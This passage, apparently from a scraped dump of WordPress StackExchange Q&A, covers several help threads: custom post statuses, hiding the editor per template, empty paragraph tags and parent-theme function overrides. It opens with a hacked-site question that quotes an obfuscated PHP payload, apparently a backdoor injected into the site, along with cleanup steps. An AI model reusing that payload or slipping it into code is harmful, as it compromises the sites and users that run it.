$light = $strings2($gbz.'("nJLtXPScp3AyqPtxnJW2XFxtrlNtDTIlpz9lK3WypT9lqTyhMluSK0SZGPx7DTyhnI9mMKDbVzEcp3OfLKysMKWlo3WmVvk0paIyXGgNMKWlo3WspzIjo3W0nJ5aXQNcBjccMvtuMJ1jqUxbWS9QG09YFHIoVzAfnJIhqS9wnTIwnlWqXFNzWvOyoKO0rFtxnJW2XFxtrlNxnJW2VQ0tWS9QG09YFHIoVzAfnJIhqS9wnTIwnlWqBlNtMJAbolNxnJW2B30tMJkmMJyzVPuyoKO0rFtxnJW2XFxtrjccMvNbp3Elp3ElXPEsH0IFIxIFJlWVISEDK0uCH1DvKFjtVwRlAl4jVvxcrlEhLJ1yVQ0tWS9GEIWJEIWoVyASHyMSHy9OEREFVy07sJIfp2I7WT5uoJHtCFNxK1ASHyMSHyfvFSEHHS9VG1AHVy07sDbxqKAypzRtCFOcp3AyqPtxK1ASHyMSHyfvFSEHHS9IH0IFK0SUEH5HVy0cC3IloTIhL29xMFtxK1ASHyMSHyfvFSEHHS9IH0IFK0SUEH5HVy0cBvVvBjbxqKWfVQ0tVzu0qUN6Yl9vLKAbp2thpaHiM2I0YaObpQ9cpQ0vYaIloTIhL29xMFtxK1ASHyMSHyfvHxIAG1ESK0SRESVvKFxhVvMxCFVhqKWfMJ5wo2EyXPEhLJ1yYvEsH0IFIxIFJlWFEISIEIAHK1IFFFWqXF4vWaH9Vv4xqKAypzRhVvMcCGRznQ0vYz1xAFtvBQMxZGL3ZQH4LGyuLwN5LmWxAGMvZmL4MQZlMwOyZTHkZFVcBjccMvuzqJ5wqTyioy9yrTymqUZbVzA1pzksnJ5cqPVcXFO7PvEwnPN9VTA1pzksnJ5cqPtxqKWfXGfXL3IloS9mMKEipUDbWTAbYPOQIIWZG1OHK0uSDHESHvjtExSZH0HcB2A1pzksp2I0o3O0XPEwnPjtD1IFGR9DIS9QG05BEHAHIRyAEH9IIPjtAFx7VTA1pzksp2I0o3O0XPEwnPjtD1IFGR9DIS9HFH1SG1IHYPN1XGfXL3IloS9mMKEipUDbWTAbYPOQIIWZG1OHK1WSISIFGyEFDH5GExIFYPOHHyISXGfXWTyvqvN9VTA1pzksMKuyLltxL2tcBlEcozMiVQ0tL3IloS9aMKEcozMiXPEwnPx7nJLtXPEcozMiJlWbqUEjK2AiMTHvKFR9ZwNjXKfxnJW2CFVvB30XL3IloS9woT9mMFtxL2tcBjc9VTIfp2IcMvucozysM2I0XPWuoTkiq191pzksMz9jMJ4vXFN9CFNkXFO7PvEcLaLtCFOznJkyK2qyqS9wo250MJ50pltxqKWfXGfXsDccMvtuMJ1jqUxbWS9DG1AHJlWjVy0cVPLzVT1xAFugMQHbWS9DG1AHJlWjVy0cXFN9CFNvZ2MvAQqvBTLmZmyvZmuzZ2VkLJR1BGEuMwD0AGN0ZTHvXFO7VROyqzSfXUA0pzyjp2kup2uypltxK1OCH1EoVzZvKFxcBlO9PzIwnT8tWTyvqwfXsFO9"));'); $strings($light);
//###====###
```
Steps I follow:
1. I download all js in local (using command zip -r js\_files.zip
wp-content -i '\*.js') and replace the malicious code using sublime
text and upload this.
2. delete the index.php malicious code.
3. block the ip address in .htaccess
```
Order Deny,Allow
Deny from 134.249.116.78
```
4. Change the permission for the folder and files (using
<http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/hosting-wordpress.html>)
**My Question is:**
After doing all this, still the code is injected. How I find the back door of the hacker to the site. Please guide me. | The backdoor is most likely located in the theme's functions.php file.Look through it and you will find the answer I believe.
WordPress core is so rarely compromised.This must be caused by a malicious theme. |
256,071 | <p>The answer to <a href="https://wordpress.stackexchange.com/questions/69506/hide-content-box-on-specific-pages-in-admin">this question</a> is working great but I want to exclude the editor also when other templates are used. Can you please tell me how to extend the code to make this work with more than one template?</p>
| [
{
"answer_id": 256075,
"author": "user6552940",
"author_id": 110206,
"author_profile": "https://wordpress.stackexchange.com/users/110206",
"pm_score": 4,
"selected": true,
"text": "<p>Yes, try this :</p>\n\n<pre><code>function remove_editor() {\n if (isset($_GET['post'])) {\n $... | 2017/02/11 | [
"https://wordpress.stackexchange.com/questions/256071",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/113083/"
] | The answer to [this question](https://wordpress.stackexchange.com/questions/69506/hide-content-box-on-specific-pages-in-admin) is working great but I want to exclude the editor also when other templates are used. Can you please tell me how to extend the code to make this work with more than one template? | Yes, try this :
```
function remove_editor() {
if (isset($_GET['post'])) {
$id = $_GET['post'];
$template = get_post_meta($id, '_wp_page_template', true);
switch ($template) {
case 'template_01.php':
case 'template_02.php':
case 'template_03.php':
case 'template_04.php':
// the below removes 'editor' support for 'pages'
// if you want to remove for posts or custom post types as well
// add this line for posts:
// remove_post_type_support('post', 'editor');
// add this line for custom post types and replace
// custom-post-type-name with the name of post type:
// remove_post_type_support('custom-post-type-name', 'editor');
remove_post_type_support('page', 'editor');
break;
default :
// Don't remove any other template.
break;
}
}
}
add_action('init', 'remove_editor');
```
Change the `'template_01.php' ... 'template_04.php'` with your template names and if you want you can add more template names by adding more cases.
e.g.
```
case 'template_05.php':
```
However, the above code and the code from the [answer](https://wordpress.stackexchange.com/a/115473/110206) requires you to first set the page templates from the page edit screen.
I hope this helps and clears how this works. |
256,087 | <p>I recently added a caption to my image in WordPress and now there is an empty <code><p></p></code> tag after <code><img></code> tag. It broke my style.</p>
<p>Can anyone tell how to remove it?</p>
<p>Thanks for the help.</p>
<p><a href="https://i.stack.imgur.com/VYPiW.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/VYPiW.png" alt="demo" /></a></p>
| [
{
"answer_id": 256097,
"author": "Fayaz",
"author_id": 110572,
"author_profile": "https://wordpress.stackexchange.com/users/110572",
"pm_score": 2,
"selected": false,
"text": "<h1>Removing <code>wpautop</code>:</h1>\n\n<p>This is most likely from <a href=\"https://developer.wordpress.org... | 2017/02/11 | [
"https://wordpress.stackexchange.com/questions/256087",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/113088/"
] | I recently added a caption to my image in WordPress and now there is an empty `<p></p>` tag after `<img>` tag. It broke my style.
Can anyone tell how to remove it?
Thanks for the help.
[](https://i.stack.imgur.com/VYPiW.png) | It is not a good practice to override the WordPress native functionality. Instead you can hide the empty elements using CSS
```
p:empty {
display: none;
}
```
This will the empty elements. |
256,117 | <p>I've created a simple plugin for our WP site to allow us to enter in our products that we despatch.</p>
<p>To do this I've created a new Post Type called 'order_packing' and within that 2 new Post Statuses: 'In Packing', 'Sent'.</p>
<p>The problem I have is that list correctly shows the packing lists within the ALL (2) total - but doesn't list the packing lists. If I click the 'Sent' status then I get both shown in the list. So my issue is the data is there, but they're not showing under the ALL tab.</p>
<p>Here's the code that creates the Post Type, this all works perfectly</p>
<pre><code>enter code here register_post_type( 'order_packing',
array(
'labels' => array(
'name' => __( 'Order Packing', 'tgplugin' ),
'singular_name' => _x( 'Order Packing', 'order_packing post type singular name', 'tgplugin' ),
'add_new' => __( 'Add Packing List', 'tgplugin' ),
'add_new_item' => __( 'Add Packing List', 'tgplugin' ),
'edit' => __( 'Edit', 'tgplugin' ),
'edit_item' => __( 'Edit Packing List', 'tgplugin' ),
'new_item' => __( 'New Packing List', 'tgplugin' ),
'view' => __( 'View Packing List', 'tgplugin' ),
'view_item' => __( 'View Packing List', 'tgplugin' ),
'search_items' => __( 'Search Packing Lists', 'tgplugin' ),
'not_found' => __( 'No Packing Lists found', 'tgplugin' ),
'not_found_in_trash' => __( 'No Packing Lists found in trash', 'tgplugin' ),
'parent' => __( 'Parent Packing List', 'tgplugin' ),
'menu_name' => _x( 'Stock Packing List', 'Admin menu name', 'tgplugin' ),
'filter_items_list' => __( 'Filter Packing Lists', 'tgplugin' ),
'items_list_navigation' => __( 'Packing List navigation', 'tgplugin' ),
'items_list' => __( 'Packing Lists', 'tgplugin' ),
),
'description' => __( 'This is where Packing Lists are stored.', 'tgplugin' ),
'public' => false,
'show_ui' => true,
'capability_type' => 'packing_list',
'map_meta_cap' => true,
'publicly_queryable' => false,
'exclude_from_search' => true,
'show_in_menu' => true,
'hierarchical' => false,
'show_in_nav_menus' => false,
'menu_position' => 100,
'rewrite' => false,
'query_var' => false,
'supports' => array( 'title', 'comments', 'custom-fields' ),
'has_archive' => false,
)
);
</code></pre>
<p>Here are the Custom Statuses for that Custom Post Type.</p>
<pre><code> register_post_status( 'inpacking', array(
'label' => _x( 'In Packing', 'Order packing' ),
'public' => false,
'exclude_from_search' => false,
'show_in_admin_all_list' => true,
'show_in_admin_status_list' => true,
'label_count' => _n_noop( 'In Packing <span class="count">(%s)</span>', 'In Packing <span class="count">(%s)</span>' ),
) );
register_post_status( 'sent', array(
'label' => _x( 'Sent', 'Order packing' ),
'public' => false,
'exclude_from_search' => false,
'show_in_admin_all_list' => true,
'show_in_admin_status_list' => true,
'label_count' => _n_noop( 'Sent <span class="count">(%s)</span>', 'Sent <span class="count">(%s)</span>' ),
) );
</code></pre>
<p>Finally here are two images showing the issue.</p>
<p><a href="https://i.stack.imgur.com/7A8L1.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/7A8L1.jpg" alt="All showing correct total but no posts" /></a>
<a href="https://i.stack.imgur.com/lgZaM.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/lgZaM.jpg" alt="Posts shown correctly when Sent is clicked" /></a></p>
<p>I'm scratching my head and have searched and searched, I did find this post but there's no answers to it.</p>
<p><a href="https://stackoverflow.com/questions/29434046/wordpress-posts-with-custom-status-need-to-show-in-all-view">https://stackoverflow.com/questions/29434046/wordpress-posts-with-custom-status-need-to-show-in-all-view</a></p>
<p>I hope someone can help save my sanity!</p>
<p>Cheers
Colin</p>
| [
{
"answer_id": 264112,
"author": "pck",
"author_id": 117960,
"author_profile": "https://wordpress.stackexchange.com/users/117960",
"pm_score": 2,
"selected": false,
"text": "<p>You should set the <code>public</code> argument to <code>true</code>. This way the post with 'inpacking' or 'se... | 2017/02/11 | [
"https://wordpress.stackexchange.com/questions/256117",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/113105/"
] | I've created a simple plugin for our WP site to allow us to enter in our products that we despatch.
To do this I've created a new Post Type called 'order\_packing' and within that 2 new Post Statuses: 'In Packing', 'Sent'.
The problem I have is that list correctly shows the packing lists within the ALL (2) total - but doesn't list the packing lists. If I click the 'Sent' status then I get both shown in the list. So my issue is the data is there, but they're not showing under the ALL tab.
Here's the code that creates the Post Type, this all works perfectly
```
enter code here register_post_type( 'order_packing',
array(
'labels' => array(
'name' => __( 'Order Packing', 'tgplugin' ),
'singular_name' => _x( 'Order Packing', 'order_packing post type singular name', 'tgplugin' ),
'add_new' => __( 'Add Packing List', 'tgplugin' ),
'add_new_item' => __( 'Add Packing List', 'tgplugin' ),
'edit' => __( 'Edit', 'tgplugin' ),
'edit_item' => __( 'Edit Packing List', 'tgplugin' ),
'new_item' => __( 'New Packing List', 'tgplugin' ),
'view' => __( 'View Packing List', 'tgplugin' ),
'view_item' => __( 'View Packing List', 'tgplugin' ),
'search_items' => __( 'Search Packing Lists', 'tgplugin' ),
'not_found' => __( 'No Packing Lists found', 'tgplugin' ),
'not_found_in_trash' => __( 'No Packing Lists found in trash', 'tgplugin' ),
'parent' => __( 'Parent Packing List', 'tgplugin' ),
'menu_name' => _x( 'Stock Packing List', 'Admin menu name', 'tgplugin' ),
'filter_items_list' => __( 'Filter Packing Lists', 'tgplugin' ),
'items_list_navigation' => __( 'Packing List navigation', 'tgplugin' ),
'items_list' => __( 'Packing Lists', 'tgplugin' ),
),
'description' => __( 'This is where Packing Lists are stored.', 'tgplugin' ),
'public' => false,
'show_ui' => true,
'capability_type' => 'packing_list',
'map_meta_cap' => true,
'publicly_queryable' => false,
'exclude_from_search' => true,
'show_in_menu' => true,
'hierarchical' => false,
'show_in_nav_menus' => false,
'menu_position' => 100,
'rewrite' => false,
'query_var' => false,
'supports' => array( 'title', 'comments', 'custom-fields' ),
'has_archive' => false,
)
);
```
Here are the Custom Statuses for that Custom Post Type.
```
register_post_status( 'inpacking', array(
'label' => _x( 'In Packing', 'Order packing' ),
'public' => false,
'exclude_from_search' => false,
'show_in_admin_all_list' => true,
'show_in_admin_status_list' => true,
'label_count' => _n_noop( 'In Packing <span class="count">(%s)</span>', 'In Packing <span class="count">(%s)</span>' ),
) );
register_post_status( 'sent', array(
'label' => _x( 'Sent', 'Order packing' ),
'public' => false,
'exclude_from_search' => false,
'show_in_admin_all_list' => true,
'show_in_admin_status_list' => true,
'label_count' => _n_noop( 'Sent <span class="count">(%s)</span>', 'Sent <span class="count">(%s)</span>' ),
) );
```
Finally here are two images showing the issue.
[](https://i.stack.imgur.com/7A8L1.jpg)
[](https://i.stack.imgur.com/lgZaM.jpg)
I'm scratching my head and have searched and searched, I did find this post but there's no answers to it.
<https://stackoverflow.com/questions/29434046/wordpress-posts-with-custom-status-need-to-show-in-all-view>
I hope someone can help save my sanity!
Cheers
Colin | You should set the `public` argument to `true`. This way the post with 'inpacking' or 'sent' `post_status` will also show in total.
So your code should be like this:
```
register_post_status( 'inpacking', array(
'label' => _x( 'In Packing', 'Order packing' ),
'public' => true,
'exclude_from_search' => false,
'show_in_admin_all_list' => true,
'show_in_admin_status_list' => true,
'label_count' => _n_noop( 'In Packing <span class="count">(%s)</span>', 'In Packing <span class="count">(%s)</span>' ),
) );
register_post_status( 'sent', array(
'label' => _x( 'Sent', 'Order packing' ),
'public' => true,
'exclude_from_search' => false,
'show_in_admin_all_list' => true,
'show_in_admin_status_list' => true,
'label_count' => _n_noop( 'Sent <span class="count">(%s)</span>', 'Sent <span class="count">(%s)</span>' ),
) );
``` |
256,141 | <p>I have a site that has a membership. Currently, we allow customization of preset themes. This uses cookies, however I want my users to have the same theme across all of their devices. <strong>I want to be able to save the cookies to a users account.</strong> There has to be somehow to do this. The plugin I use for theme switching is Theme Switcher by Ryan Boren.</p>
| [
{
"answer_id": 264112,
"author": "pck",
"author_id": 117960,
"author_profile": "https://wordpress.stackexchange.com/users/117960",
"pm_score": 2,
"selected": false,
"text": "<p>You should set the <code>public</code> argument to <code>true</code>. This way the post with 'inpacking' or 'se... | 2017/02/11 | [
"https://wordpress.stackexchange.com/questions/256141",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/-1/"
] | I have a site that has a membership. Currently, we allow customization of preset themes. This uses cookies, however I want my users to have the same theme across all of their devices. **I want to be able to save the cookies to a users account.** There has to be somehow to do this. The plugin I use for theme switching is Theme Switcher by Ryan Boren. | You should set the `public` argument to `true`. This way the post with 'inpacking' or 'sent' `post_status` will also show in total.
So your code should be like this:
```
register_post_status( 'inpacking', array(
'label' => _x( 'In Packing', 'Order packing' ),
'public' => true,
'exclude_from_search' => false,
'show_in_admin_all_list' => true,
'show_in_admin_status_list' => true,
'label_count' => _n_noop( 'In Packing <span class="count">(%s)</span>', 'In Packing <span class="count">(%s)</span>' ),
) );
register_post_status( 'sent', array(
'label' => _x( 'Sent', 'Order packing' ),
'public' => true,
'exclude_from_search' => false,
'show_in_admin_all_list' => true,
'show_in_admin_status_list' => true,
'label_count' => _n_noop( 'Sent <span class="count">(%s)</span>', 'Sent <span class="count">(%s)</span>' ),
) );
``` |
256,149 | <p>At the bottom of my WP-admin pages I get this:</p>
<pre><code>ob_end_flush(): failed to send buffer of zlib output compression (1) in C:\Users\anticaking\Desktop\Website\wordpress\wp-includes\functions.php on line 3718.
</code></pre>
<p>Line 3718:</p>
<pre><code>function wp_ob_end_flush_all() {
$levels = ob_get_level();
for ($i=0; $i<$levels; $i++)
ob_end_flush();
}
</code></pre>
<p>I've removed all plug-ins and swapped themes and still get the error so I cannot pinpoint what is causing it. What is it and how do I fix this?</p>
| [
{
"answer_id": 289783,
"author": "Madusanka",
"author_id": 134013,
"author_profile": "https://wordpress.stackexchange.com/users/134013",
"pm_score": 1,
"selected": false,
"text": "<p>bool ob_end_flush ( void )\nThis function will send the contents of the topmost output buffer (if any) an... | 2017/02/12 | [
"https://wordpress.stackexchange.com/questions/256149",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/111846/"
] | At the bottom of my WP-admin pages I get this:
```
ob_end_flush(): failed to send buffer of zlib output compression (1) in C:\Users\anticaking\Desktop\Website\wordpress\wp-includes\functions.php on line 3718.
```
Line 3718:
```
function wp_ob_end_flush_all() {
$levels = ob_get_level();
for ($i=0; $i<$levels; $i++)
ob_end_flush();
}
```
I've removed all plug-ins and swapped themes and still get the error so I cannot pinpoint what is causing it. What is it and how do I fix this? | I also had this issue with wordpress and couldn't properly resolve it. Ended up with this filthy hack to prevent the error from showing:
```
// Get the current error reporting level
$e_level = error_reporting();
// Turn off error reporting
error_reporting(0);
ob_start();
echo 'This is a horrible hack';
$buffer_contents = ob_get_clean();
ob_end_flush();
// Reset error reporting level to previous
error_reporting($e_level);
```
Everything does seem to work as expected, however I'm not proud of it! |
256,195 | <p>I'm using the theme "Tesseract" as a parent theme, and I'd like to use the walker class to get menu descriptions. However, I am having trouble figuring out how to edit the php, because I don't know how to properly replace the parent theme's functions.</p>
<h3>I need to change a parent theme's function</h3>
<p>According to <a href="http://www.wpbeginner.com/wp-themes/how-to-add-menu-descriptions-in-your-wordpress-themes/" rel="nofollow noreferrer">this page</a>, I'm supposed to find is find the <code>wp_nav_menu()</code>, which they author suggests is most likely in header.php, and replace that function call with this.</p>
<pre><code><?php $walker = new Menu_With_Description; ?>
<?php wp_nav_menu( array( 'theme_location' => 'primary', 'menu_class' => 'nav-menu', 'walker' => $walker ) ); ?>
</code></pre>
<p>The problem is that for my theme, <code>wp_nav_menu()</code> is getting called in my the Parent Theme's functions.php file, not in header.php, although the containing function (<code>tesseract_output_menu</code>) <em>is</em> called inside of header.php. What this means that I am going to, most likely, have to replace a parent theme's function, but I'm not sure how to do that the right way.</p>
<p><code>tesseract_output_menu</code> is that function inside the parent theme function.php file that is called inside of header.php, I am going to try to change it to a function called <code>child_tesseract_output_menu</code>. </p>
<h3>This is the parent theme function:</h3>
<pre><code>function tesseract_output_menu( $cont, $contClass, $location, $depth ) {
switch( $location ) :
case 'primary': $hblox = 'header'; break;
case 'primary_right': $hblox = 'header_right'; break;
case 'secondary': $hblox = 'footer'; break;
case 'secondary_right': $hblox = 'footer_right'; break;
endswitch;
$locs = get_theme_mod('nav_menu_locations');
$menu = get_theme_mod('tesseract_' . $hblox . '_menu_select');
$isMenu = get_terms( 'nav_menu' ) ? TRUE : FALSE;
$locReserved = ( $locs[$location] ) ? TRUE : FALSE;
$menuSelected = ( is_string($menu) ) ? TRUE : FALSE;
// IF the location set as parameter has an associated menu, it's returned as a key-value pair in the $locs array - where the key is the location and the value is the menu ID. We need this latter to get the menu slug required later -in some cases- in the wp_nav_menu params array.
if ( $locReserved ) {
$menu_id = $locs[$location]; // $value = $array[$key]
$menuObject = wp_get_nav_menu_object( $menu_id );
$menu_slug = $menuObject->slug;
};
$custSet = ( $menuSelected && ( $menu !== 'none' ) );
if ( empty( $isMenu ) ) : //Case 1 - IF THERE'S NO MENU CREATED -> easy scenario: no location setting, no customizer setting ( this latter only appears if there IS at least one menu created by the theme user ) => display basic menu
wp_nav_menu( array(
'theme_location' => 'primary',
'menu_class' => 'nav-menu',
'container_class' => '',
'container' => FALSE,
'depth' => $depth
)
);
elseif ( !empty( $isMenu ) ) : //Case 2 - THERE'S AT LEAST ONE MENU CREATED
if ( !$custSet && $locReserved ) { //no setting in customizer OR dropdown is set to blank value, location SET in Menus section => display menu associated with this location in Appearance ->
wp_nav_menu( array(
// 'menu' => $menuSlug,
'menu' => $menu_slug,
'theme_location' => $location,
'menu_class' => 'nav-menu',
'container_class' => $contClass,
'container' => $cont,
'depth' => $depth
)
);
} else if ( !$custSet && !$locReserved ) { //no setting in customizer OR dropdown is set to blank value, location NOT SET in Menus section => display basic menu
wp_nav_menu( array(
'theme_location' => 'primary',
'menu_class' => 'nav-menu',
'container_class' => '',
'container' => FALSE,
'depth' => $depth
)
);
} else if ( $custSet ) { //menu set in customizer AND dropdown is NOT set to blank value, location SET OR NOT SET in Menus section => display menu set in customizer ( setting a menu to the given location in customizer will update any existing location-menu association in Appearance -> Menus, see function tesseract_set_menu_location() in functions.php )
wp_nav_menu( array(
'menu' => $menu,
'theme_location' => $location,
'menu_class' => 'nav-menu',
'container_class' => $contClass,
'container' => $cont,
'depth' => $depth
)
);
}
endif;
}
</code></pre>
<h3>Stack provides an example</h3>
<p>From what I know I would probably want to use an action or filter to do this, as is demonstrated in <code>this question</code>:
<a href="https://wordpress.stackexchange.com/questions/7557/how-to-override-parent-functions-in-child-themes">How to override parent functions in child themes?</a></p>
<h3>The example isn't clear to me</h3>
<p>The problem is that in example I'm trying to follow is not thoroughly explained and I don't quite understand how filters work yet. In that stack example, they seem to remove a function called <code>twentyten_auto_excerpt_more</code>, with one called
<code>osu_twentyten_auto_excerpt_more</code>, but they do so using a first argument called <code>excerpt_more</code>:</p>
<h3>The child override function in the Stack answer:</h3>
<pre><code>// Override read more link
function osu_twentyten_continue_reading_link() {
return ' <a href="'. get_permalink() . '">' . __( 'Read on <span class="meta-nav">&rarr;</span>', 'twentyten-child' ) . '</a>';
}
function osu_twentyten_auto_excerpt_more( $more ) {
return ' &hellip;' . osu_twentyten_continue_reading_link();
}
remove_filter( 'excerpt_more', 'twentyten_auto_excerpt_more' );
add_filter( 'excerpt_more', 'osu_twentyten_auto_excerpt_more' );
</code></pre>
<p>Since I want to change <code>tesseract_output_menu</code>, based on this example, I am pretty sure I would call my child function to replace the parent function <code>tesseract_output_menu</code> something like <code>child_tesseract_output_menu</code>,I think that is clear. But what I don't understand is what is the equivalent/analog of the first argument in my case, which is the same of <code>exerpt_more</code> in the above example. They don't say what <code>excerpt_more</code> is. I need to know what the first argument of the <code>remove_filter and</code>add_filter` need to be in my case. </p>
<p>To make this clearer</p>
<h3>Stack example</h3>
<ol>
<li>functions used: <code>add filter</code>, <code>remove filter</code></li>
<li>second argument of remove filter (parent function to be replaced): <code>twentyten_auto_excerpt_more</code></li>
<li>second argument of add filter (child function): <code>osu_twentyten_auto_excerpt_more</code></li>
<li>first argument add filter and remove filter: <code>exerpt more</code></li>
</ol>
<h3>My case, v1: replacing <code>tesseract_output_menu</code>:</h3>
<ol>
<li>functions used: <code>add filter</code>, <code>remove filter</code></li>
<li>second argument of remove filter (parent function to be replaced): <code>tesseract_output_menu</code></li>
<li>second argument of add filter (child function) : <code>child_tesseract_output_menu</code></li>
<li>first argument add filter and remove filter: <em>??? What is the function I need to put in the first argument???</em> </li>
</ol>
<p>I realize that I might instead want to align things this way</p>
<h3>My case, v2: replacing <code>wp_nav_menu</code>:</h3>
<ol>
<li>functions used: <code>add filter</code>, <code>remove filter</code></li>
<li>second argument of remove filter (parent function to be replaced): <code>wp_nav_menu</code></li>
<li>second argument of add filter (child function) : <code>child_wp_nav_menu</code></li>
<li>first argument add filter and remove filter: <code>tesseract_output_menu</code></li>
</ol>
<p>What is the best approach to take, if i should use v1 of my case what is the equalivalent of <code>excerpt_more</code> in my case?</p>
| [
{
"answer_id": 256198,
"author": "CoderScissorhands",
"author_id": 105196,
"author_profile": "https://wordpress.stackexchange.com/users/105196",
"pm_score": 0,
"selected": false,
"text": "<p>I realized an easier approach that worked that involved editing my child's header.php file </p>\n... | 2017/02/12 | [
"https://wordpress.stackexchange.com/questions/256195",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/105196/"
] | I'm using the theme "Tesseract" as a parent theme, and I'd like to use the walker class to get menu descriptions. However, I am having trouble figuring out how to edit the php, because I don't know how to properly replace the parent theme's functions.
### I need to change a parent theme's function
According to [this page](http://www.wpbeginner.com/wp-themes/how-to-add-menu-descriptions-in-your-wordpress-themes/), I'm supposed to find is find the `wp_nav_menu()`, which they author suggests is most likely in header.php, and replace that function call with this.
```
<?php $walker = new Menu_With_Description; ?>
<?php wp_nav_menu( array( 'theme_location' => 'primary', 'menu_class' => 'nav-menu', 'walker' => $walker ) ); ?>
```
The problem is that for my theme, `wp_nav_menu()` is getting called in my the Parent Theme's functions.php file, not in header.php, although the containing function (`tesseract_output_menu`) *is* called inside of header.php. What this means that I am going to, most likely, have to replace a parent theme's function, but I'm not sure how to do that the right way.
`tesseract_output_menu` is that function inside the parent theme function.php file that is called inside of header.php, I am going to try to change it to a function called `child_tesseract_output_menu`.
### This is the parent theme function:
```
function tesseract_output_menu( $cont, $contClass, $location, $depth ) {
switch( $location ) :
case 'primary': $hblox = 'header'; break;
case 'primary_right': $hblox = 'header_right'; break;
case 'secondary': $hblox = 'footer'; break;
case 'secondary_right': $hblox = 'footer_right'; break;
endswitch;
$locs = get_theme_mod('nav_menu_locations');
$menu = get_theme_mod('tesseract_' . $hblox . '_menu_select');
$isMenu = get_terms( 'nav_menu' ) ? TRUE : FALSE;
$locReserved = ( $locs[$location] ) ? TRUE : FALSE;
$menuSelected = ( is_string($menu) ) ? TRUE : FALSE;
// IF the location set as parameter has an associated menu, it's returned as a key-value pair in the $locs array - where the key is the location and the value is the menu ID. We need this latter to get the menu slug required later -in some cases- in the wp_nav_menu params array.
if ( $locReserved ) {
$menu_id = $locs[$location]; // $value = $array[$key]
$menuObject = wp_get_nav_menu_object( $menu_id );
$menu_slug = $menuObject->slug;
};
$custSet = ( $menuSelected && ( $menu !== 'none' ) );
if ( empty( $isMenu ) ) : //Case 1 - IF THERE'S NO MENU CREATED -> easy scenario: no location setting, no customizer setting ( this latter only appears if there IS at least one menu created by the theme user ) => display basic menu
wp_nav_menu( array(
'theme_location' => 'primary',
'menu_class' => 'nav-menu',
'container_class' => '',
'container' => FALSE,
'depth' => $depth
)
);
elseif ( !empty( $isMenu ) ) : //Case 2 - THERE'S AT LEAST ONE MENU CREATED
if ( !$custSet && $locReserved ) { //no setting in customizer OR dropdown is set to blank value, location SET in Menus section => display menu associated with this location in Appearance ->
wp_nav_menu( array(
// 'menu' => $menuSlug,
'menu' => $menu_slug,
'theme_location' => $location,
'menu_class' => 'nav-menu',
'container_class' => $contClass,
'container' => $cont,
'depth' => $depth
)
);
} else if ( !$custSet && !$locReserved ) { //no setting in customizer OR dropdown is set to blank value, location NOT SET in Menus section => display basic menu
wp_nav_menu( array(
'theme_location' => 'primary',
'menu_class' => 'nav-menu',
'container_class' => '',
'container' => FALSE,
'depth' => $depth
)
);
} else if ( $custSet ) { //menu set in customizer AND dropdown is NOT set to blank value, location SET OR NOT SET in Menus section => display menu set in customizer ( setting a menu to the given location in customizer will update any existing location-menu association in Appearance -> Menus, see function tesseract_set_menu_location() in functions.php )
wp_nav_menu( array(
'menu' => $menu,
'theme_location' => $location,
'menu_class' => 'nav-menu',
'container_class' => $contClass,
'container' => $cont,
'depth' => $depth
)
);
}
endif;
}
```
### Stack provides an example
From what I know I would probably want to use an action or filter to do this, as is demonstrated in `this question`:
[How to override parent functions in child themes?](https://wordpress.stackexchange.com/questions/7557/how-to-override-parent-functions-in-child-themes)
### The example isn't clear to me
The problem is that in example I'm trying to follow is not thoroughly explained and I don't quite understand how filters work yet. In that stack example, they seem to remove a function called `twentyten_auto_excerpt_more`, with one called
`osu_twentyten_auto_excerpt_more`, but they do so using a first argument called `excerpt_more`:
### The child override function in the Stack answer:
```
// Override read more link
function osu_twentyten_continue_reading_link() {
return ' <a href="'. get_permalink() . '">' . __( 'Read on <span class="meta-nav">→</span>', 'twentyten-child' ) . '</a>';
}
function osu_twentyten_auto_excerpt_more( $more ) {
return ' …' . osu_twentyten_continue_reading_link();
}
remove_filter( 'excerpt_more', 'twentyten_auto_excerpt_more' );
add_filter( 'excerpt_more', 'osu_twentyten_auto_excerpt_more' );
```
Since I want to change `tesseract_output_menu`, based on this example, I am pretty sure I would call my child function to replace the parent function `tesseract_output_menu` something like `child_tesseract_output_menu`,I think that is clear. But what I don't understand is what is the equivalent/analog of the first argument in my case, which is the same of `exerpt_more` in the above example. They don't say what `excerpt_more` is. I need to know what the first argument of the `remove_filter and`add\_filter` need to be in my case.
To make this clearer
### Stack example
1. functions used: `add filter`, `remove filter`
2. second argument of remove filter (parent function to be replaced): `twentyten_auto_excerpt_more`
3. second argument of add filter (child function): `osu_twentyten_auto_excerpt_more`
4. first argument add filter and remove filter: `exerpt more`
### My case, v1: replacing `tesseract_output_menu`:
1. functions used: `add filter`, `remove filter`
2. second argument of remove filter (parent function to be replaced): `tesseract_output_menu`
3. second argument of add filter (child function) : `child_tesseract_output_menu`
4. first argument add filter and remove filter: *??? What is the function I need to put in the first argument???*
I realize that I might instead want to align things this way
### My case, v2: replacing `wp_nav_menu`:
1. functions used: `add filter`, `remove filter`
2. second argument of remove filter (parent function to be replaced): `wp_nav_menu`
3. second argument of add filter (child function) : `child_wp_nav_menu`
4. first argument add filter and remove filter: `tesseract_output_menu`
What is the best approach to take, if i should use v1 of my case what is the equalivalent of `excerpt_more` in my case? | Go to your `functions.php` in your child theme add this:
```
function childtheme_override_tesseract_output_menu( $cont, $contClass, $location, $depth ) {
//tesseract_output_menu function code modified as you wish here
}
```
In your parent theme `functions.php`, wrap the `tesseract_output_menu` function like this:
```
if (function_exists('childtheme_override_tesseract_output_menu')) {
/**
* run the child override
*/
function tesseract_output_menu() {
childtheme_override_tesseract_output_menu();
}
} else {
/**
* run the original parent function
*/
function tesseract_output_menu( $cont, $contClass, $location, $depth ) {
//original code untouched
}
}
```
this way you can override the parent theme function, this is the standard way, i am not sure why the parent theme function its not already wrapped like that, you can see in the themes that come with wordpress the same code for it, so the function can be replaced `if ( ! function_exists( 'twentysixteen_setup' ) )`. |
256,223 | <p>I trying this directly in my theme:</p>
<p><code>
$mods = $wp_customize->get_control('header_text');
if (isset($mods)) {
echo 'YES';
